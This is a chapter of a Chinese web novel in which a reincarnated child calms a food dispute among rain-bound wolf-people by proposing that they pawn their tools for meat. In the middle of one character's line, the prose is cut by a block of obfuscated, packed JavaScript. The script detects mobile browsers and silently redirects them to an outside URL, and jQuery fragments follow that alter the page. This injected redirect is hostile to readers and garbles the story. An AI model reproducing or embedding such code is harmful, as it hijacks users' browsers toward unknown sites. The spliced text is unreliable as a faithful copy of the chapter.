洞穴外面雨哗哗地下,空气中无处不在的潮热包裹着她。
柴棉棉坐在阿妈怀里,浑身湿透了,阿妈也浑身湿透了,肌肤相贴处产生令人不适的粘腻。
尽管如此,柴棉棉还是觉得安全感满满,仿佛阿妈的臂膀形成了一层厚厚的透明罩子,她躲在这个罩子里偷偷嗅闻外面人心诡谲的气息,就像隔着银幕次元看人与人之间尔虞我诈,又像戴着耳机看恐怖片,觉得吓人,又不至于感同身受地害怕。
伏冬姨姨家绝不只竹架子上那些吊着的、散发出微微腐烂气息的不新鲜兽肉。
当初卖出竹弓竹箭,柴棉棉就教了圆斑黑耳夏天保存肉的方法。
——切成薄片、风干、塞入竹筒、添加草木灰、黄泥密封、用火烤干,能保存一个月左右。
伏冬姨姨从一开始就撒了谎,可奇怪的是,当风驰姨姨这群狼人找她退货时,她眼眸中的心灰意冷却又是真实的。
柴棉棉在她身上嗅到了伤心和失望的气息,很浓很强烈。
风驰姨姨这群狼人呢,他们集体跑来抢伏冬姨姨的兽肉,该是很坏很坏的人了吧?可是他们居然会跟她道歉耶~
是真心实意地道歉哦。
就算是柴棉棉上辈子,文明高度发达的社会,好多大人出于好玩把小孩欺负哭,也不一定会道歉的。
柴棉棉有些困惑。
她藏在阿妈的怀里,偷偷抬眼观察那群狼人,一时觉得他们善良如天使,一时觉得他们凶恶如魔鬼,在两者之间变换不定。
她有些难过。
明明都是很好的人啊,怎么事情就到这一步了呢?
最后是从阿妈身上升起的一股浓浓的无力感,夹杂着淡淡的伤感,将她包裹。
原来,阿妈也很难过吗?
发生这样的事情,阿妈也不想吗?
柴棉棉搂住阿妈的脖子,娇嫩的脸颊紧紧贴在阿妈的耳侧,从那层透明的罩子里微微抬出头来。
——原来外面已经风雨飘摇,她这里无风无雨,保护她的阿妈却只能和大家一起站在风雨里。
柴棉棉的心脏像被绣花针扎了一下,疼痛细微却无比尖锐。
她娇嫩的脸蛋紧紧地贴着阿妈的脸颊,暗暗下定决心。
妈妈,不要伤心,也不用害怕,棉棉会保护你的。
棉棉有能力保护你。
于是她忽然变得大胆了起来,面对可怕的群体意志也面不改色。
声音细细秀气,却十分坚定,借助幼崽透亮的嗓音穿透所有人的耳膜。
“不行。”
“你们不能拿。”
面对阿妈的害怕和伏冬姨姨的担忧,柴棉棉有些紧张地舔了舔唇。
先用伏冬姨姨承诺的预期消解了风驰姨姨等狼人的紧张,然后开始分析。
“其实伏冬姨姨竹架子上的食物看着多,但你们这么多人,分一分,每个人也就够吃一两天。一两天之后,天气放晴,可以出去打猎了,那自然是皆大欢喜。但一两天之后,天上还是下雨,你们怎么办呢?”
狼人们面面相觑。
片刻后,风驰说话:“若一两天之后还是下雨,那我们就只好咬牙拼命,冒雨出去打猎了。”
柴棉棉点头:“现在外面这么危险,大家团结在一起组队打猎肯定比单独打猎更容易抓到猎物,也更能应付突如其来的危险,对吧?”
风驰不假思索地说:“当然了,在捕猎者当中我们狼人的体型只能算中等偏上,比不过虎人、狮人、熊人那些,是因为我们成群结队团结一心,才有了足够强的威慑力,能在山地森林里到处圈地盘。”
柴棉棉:“可是如果你们现在拿走了伏冬姨姨的食物,后面捕猎你们就再也无法团结在一起了。”
狼人们一愣,像听到什么天方夜谭一样,只觉得荒唐极了。
怎么可能呢?
风驰说:“小孩,我们是相信你才听你说话的,你不要骗人。”
“我没有骗人,我在说实话。”柴棉棉神情认真又诚恳,“今天你们带着游山器、带着竹弓竹箭跑来伏冬姨姨这里嚷嚷着要退货,但其实你们心里很清楚,这些工具并没有什么质量问题,正常情况下,伏冬姨姨是绝不会答应退货的。可是你们这么多人集体站在一起,伏冬姨姨就不得不答应了。”
她金色眼眸微微染上一丝暗色,竟带了少许蛊惑的危险味道:“你们把这些兽肉拿回家,要怎么分呢?”
狼人们再次愣住了,他们似乎从来没想过这个问题。
一个狼人忍不住说:“当然是按照当初我们买游山器、买竹弓竹箭时付出的兽肉分。”
柴棉棉盯着他:“是吗?你们每一个人心里都是这样想的吗?”
难道不是吗?
“游山器的价格和竹弓竹箭的价格并不一样,你们有的要一半,有的要一半的一半,最后分得少的人会怎么看分得多的人呢?既然你们从伏冬姨姨这里拿走兽肉的理由站不住脚,那凭什么认为人人都会相信你们随口说出来的估价呢?”
“就算你们现在不会想,可是等明天,等后天,你们拿到的兽肉吃尽了,你们不会想吗?”
“凭什么他拿到兽肉比我多呢?”
狼人们开始躁动,他们仿佛感觉到了什么,那是从他们心底深处飘散出来的味道,之前他们从未察觉,可是一经别人点醒,他们便立刻嗅到了它的味道,恐惧开始悄然滋生。
一个狼人高声道:“那、那我们就平分!”
“平分?”柴棉棉笑了笑,“你问问你的同伴们,他们愿意吗?”
狼人们不由自主互相对视,但是好奇怪,往常眼神一接触便是笑,哪怕关系再一般也能就着天气和近日正在干的活计聊几句,结伴成队似乎是顺理成章的,根本不需要想太多,可是这一会儿,大家的眼神仿佛被烫到一样,稍微一接触就赶紧移开了去,仿佛那黄澄澄的眼睛里不再是放心的信任和可靠的后背,而是可疑的狡诈和令人不安的背叛。
风驰脸上染上一丝惧色:“棉棉,你不要再说这样奇奇怪怪的话了。”
“不是我要说奇奇怪怪的话,是这件事本身就比你们想象的要复杂。”柴棉棉想起上辈子,忽觉阵阵发冷,忍不住往阿妈怀里钻了几分,低声喃喃,“人心的阴暗面是深不见底的可怖黑渊,哪怕只是往那里走一两步,都极容易滑落进去,从此万劫不复。”
一个狼人忍不住争辩:“可是、可是如果我们不拿伏冬的
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16436462|180883||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
食物,我们就要挨饿了呀!”
风驰点头赞同:“我们饿几天或许不会死,但到时候无论是天晴还是下雨,我们都没有力气去打猎了。”
“所以你们不能拿,要抵押。”
柴棉棉并未卖关子,认真给他们讲了抵押的含义。
“你们饿了要找食物填饱肚子,是正当理由;伏冬姨姨通过自己的辛劳攒出了那么多食物,不愿意莫名其妙被拿走,也是正当理由。但是伏冬姨姨也说了,她愿意把食物都给你们。所以,我们现在要做的,就是找一个正当的、大家都认可的理由,将食物进行再分配。”
风驰思考片刻,无法理解:“这有什么区别吗?”
“有区别。”
柴棉棉眼神笃定,简短而有力地下了定论。
然后她换了一副口气,温柔地、带着柔软又真挚的情感:“风驰姨姨,你看看你手上的游山器,游山器的两根肩带长度是可以调节的,伏冬姨姨在售卖游山器时为了规整好看将肩带全部调节成了统一长度,而你手上的游山器肩带长度却长了很多,为什么?”
风驰满头雾水:“因为不调长了我背不进去啊,还能是因为什么?”
柴棉棉:“再看这游山器顶上的皮棚子,伏冬姨姨在售卖时也是统一用的灰白兔子皮,风驰姨姨,你为什么把它换成梅花鹿皮?”
风驰脱口而出:“因为我觉得梅花鹿皮更好看!”
话一出口,她蓦地怔住了。
隐隐约约的,她似乎明白了棉棉的意思。
“伏冬姨姨制作游山器和竹弓竹箭出来售卖都是用了心的,当初你们买的时候没退,就证明你们觉得这两样东西好用。”柴棉棉娓娓讲述道,“它们跟着你们的时间不算很长,却已经在日日配合你们使用的过程中被打磨成了最适合你们的模样。它不再单单只是一个工具,它更是你们生活中的好伙伴,它上面有你们对过去美好日子的记忆。”
她问他们:“风驰姨姨,还有后面的姨姨叔叔哥哥姐姐们,你们决定退掉它的时候,心里真的没有一点舍不得吗?”
狼人们沉默了。
怎么可能呢?怎么可能没有一点点舍不得呢?
竹弓竹箭多好用啊,拉弓一射,嗖地一声,箭就能飞向他想飞去的任何地方。
游山器多好用啊,上能遮阳挡雨,下能挂兽皮竹水筒,东西全绑上面两根肩带往背后一背,就什么东西都不用拿了。
他们可喜欢可喜欢了。
一个狼人喃喃出声:“可是…我们要吃肉的呀。”
柴棉棉嘴角漾开一抹温柔的笑容:“是啊,所以你把你珍视的好伙伴抵押在伏冬姨姨这里,换取一些兽肉度过难关。等日后天晴了,你再出去打猎,把你的好伙伴从伏冬姨姨这里赎回来,再付少少的一笔抵押费,就当是感谢伏冬姨姨的帮忙。你们拿回了自己的游山器和竹弓竹箭,不也是拿回了你们曾经辛苦却快乐的生活吗?”
或许语言真的有煽动人心的力量。
狼人们看着手里的工具,无一不露出动容之色。
悄然间,那股令人闻之色变的躁动竟在渐渐平息,仿佛魔鬼正在离他们远去,而天使正带着圣洁的光辉向他们一步一步走来。